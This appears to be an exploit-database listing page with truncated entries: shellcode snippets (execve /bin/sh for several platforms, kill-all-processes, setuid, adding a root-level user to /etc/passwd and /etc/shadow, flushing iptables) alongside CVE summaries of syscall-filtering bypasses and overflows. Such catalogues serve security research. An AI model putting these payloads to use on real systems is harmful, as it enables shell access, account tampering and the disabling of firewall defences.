FreeBSD/x86 - kill all processes - 12 bytes

No description provided by source. CoDed bY suN8Hclf DaRk-CodeRs Group productions, kid FreeBSD x86 kill all procesess 12 bytes shellcode Compile: nasm -f elf code.asm ld -e start -o code code.o Assembly code: ---------------------code.asm------------------- section .text global start start: xor...

BSD/x86 - execve(/bin/sh) - 27 bytes

No description provided by source. / execvesh.c by n0gada 27 bytes. / include "stdio.h" char shellcode= "\xeb\x0d\x5f\x31\xc0\x50\x89\xe2" "\x52\x57\x54\xb0\x3b\xcd\x80\xe8" "\xee\xff\xff\xff/bin/sh"; int mainvoid int ret; printf"%d\n",strlenshellcode; ret = int &ret+2; ret = intshellcode; return...

Linux/x86-64bits - execve("/bin/sh", ["/bin/sh"], NULL) - 33 bytes

No description provided by source. Linux/X86-64 Dummy for shellcode: execve"/bin/sh", "/bin/sh", NULL hophet at gmail.com .text .globl start start: xorq %rdx, %rdx movq $0x68732f6e69622fff,%rbx shr $0x8, %rbx push %rbx movq %rsp,%rdi xorq %rax,%rax pushq %rax pushq %rdi movq %rsp,%rsi mov $0x3b,%...

Design/Logic Flaw

Niels Provos Systrace before 1.6f on the x8664 Linux platform allows local users to bypass intended access restrictions by making a 64-bit syscall with a syscall number that corresponds to a policy-compliant 32-bit syscall...

CVE-2009-0343

Niels Provos Systrace 1.6f and earlier on the x8664 Linux platform allows local users to bypass intended access restrictions by making a 32-bit syscall with a syscall number that corresponds to a policy-compliant 64-bit syscall, related to race conditions that occur in monitoring 64-bit processes...

CVE-2009-0343

Niels Provos Systrace 1.6f and earlier on the x8664 Linux platform allows local users to bypass intended access restrictions by making a 32-bit syscall with a syscall number that corresponds to a policy-compliant 64-bit syscall, related to race conditions that occur in monitoring 64-bit processes...

Linux syscall filtering bypass

32 bit application can use 64 bit syscall and vice versa to bypass syscall filtering, because syscall numbers are different...

Problems with syscall filtering technologies on Linux

Hi, There's a trick which may permit the bypassing of policies in technologies which do syscall filtering on the Linux x8664 kernel. The trick is made possible by the fact that the 32-bit and 64-bit kernel tables are different, combined with the fact that a 64-bit process can make a 32-bit syscal...

CESA-2009-001 - rev 1 Linux syscall interception technologies partial bypass

CESA-2009-001 - rev 1 See all my vulnerabilities at http://scary.beasts.org/security Blog if you want to subscribe to new findings is at http://scarybeastsecurity.blogspot.com/ Linux syscall interception technologies partial bypass Programs affected: Probably many; for example systrace with ptrac...

Linux/x86-64 - Add User (pwned/$pass$) Using open,write,close To /etc/{passwd,shadow} Shellcode (358 bytes)

Linux/x86-64 - Add User pwned/$pass$ Using open,write,close To /etc/passwd,shadow Shellcode 358 bytes. Shellcode exploit for Linuxx86-64 platform ; shellcode name adduserpasswordJCPopen,write,close ; Author : Christophe G SLAE64-1337 ; Len : 358 bytes ; Language : Nasm ; "name = pwned ; pass =...

IRIX - execve(/bin/sh) Shellcode (43 bytes)

IRIX - execve/bin/sh Shellcode 43 bytes. Shellcode exploit for IRIX platform char shellcode= "\x04\x10\xff\xff" / bltzal $zero, / "\x24\x02\x03\xf3" / li $v0,1011 / "\x23\xff\x02\x14" / addi $ra,$ra,532 / "\x23\xe4\xfe\x08" / addi $a0,$ra,-504 / "\x23\xe5\xfe\x10" / addi $a1,$ra,-496 /...

Linux/x86 - setuid() + execve() + exit() Shellcode (44 bytes)

Linux/x86 - setuid + execve + exit Shellcode 44 bytes. Shellcode exploit for Linuxx86 platform / Linux x86 shellcode by bob / / setuid; execve; exit; / include char shellcode= "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"...

IRIX - execve(/bin/sh) Shellcode (68 bytes)

IRIX - execve/bin/sh Shellcode 68 bytes. Shellcode exploit for IRIX platform / 68 byte MIPS/Irix PIC execve shellcode. -scut/teso / unsigned long int shellcode = 0xafa0fffc, / sw $zero, -4$sp / 0x24067350, / li $a2, 0x7350 / / dpatch: / 0x04d0ffff, / bltzal $a2, dpatch / 0x8fa6fffc, / lw $a2, -4$...

CVE-2008-5701

Array index error in arch/mips/kernel/scall64-o32.S in the Linux kernel before 2.6.28-rc8 on 64-bit MIPS platforms allows local users to cause a denial of service system crash via an o32 syscall with a small syscall number, which leads to an attempted read operation outside the bounds of the...

Out-of-bounds

Array index error in arch/mips/kernel/scall64-o32.S in the Linux kernel before 2.6.28-rc8 on 64-bit MIPS platforms allows local users to cause a denial of service system crash via an o32 syscall with a small syscall number, which leads to an attempted read operation outside the bounds of the...

CVE-2008-5701

Array index error in arch/mips/kernel/scall64-o32.S in the Linux kernel before 2.6.28-rc8 on 64-bit MIPS platforms allows local users to cause a denial of service system crash via an o32 syscall with a small syscall number, which leads to an attempted read operation outside the bounds of the...

kernel security and bug fix update

2.6.18-92.1.22.0.1.el5 - net Add entropy support to e1000 and bnx2 John Sobecki orabug 6045759 - net Add xen pv/bonding netconsole support Tina yang orabug 6993043 bz 7258 - mm shrink zone patch John Sobecki,Chris Mason orabug 6086839 - nfs nfs attribute timeout fix Trond Myklebust orabug 7156607...

linux/amd64 - flush iptables rules shellcode 84 bytes

linux/amd64 flush iptables rules shellcode 84 bytes. Shellcode exploit for linamd64 platform / /sbin/iptables -F shellcode for AMD64 84 bytes By gat3way The code to load the sc into an executable mmap-ed executable page was shamelessly stolen by hophet too lazy : Thanks Gustavo C. for the...

linux/amd64 flush iptables rules shellcode 84 bytes

No description provided by source. / /sbin/iptables -F shellcode for AMD64 84 bytes By gat3way gat3wayat gat3waydoteu The code to load the sc into an executable mmap-ed executable page was shamelessly stolen by hophet too lazy : Thanks Gustavo C. for the inspiration - x8664 assembly is fun : Here...

Count.cgi(wwwcount)远程缓冲区溢出漏洞

BugCVE: CVE-1999-0021 BUGTRAQ: 128 Count.cgi wwwcount是一个非常流行的Web站点跟踪统计CGI程序。一般它作为Web页面点击数统计。1997年10月，这个程序被发现了两个远程漏洞。第一个漏洞比较轻微，它能允许远程用户浏览到受限制的.GIF文件，可能泄漏.GIF文件里潜在的敏感数据。 第二个漏洞比较严重，count.cgi程序在处理QUERYSTRING环境变量的时候存在缓冲区溢出漏洞。远程攻击者可以发送一个超长的请求给程序就能进行溢出攻击，以Web用户的权限在系统执行任意命令。 2.3 Muhammad A. Muquit...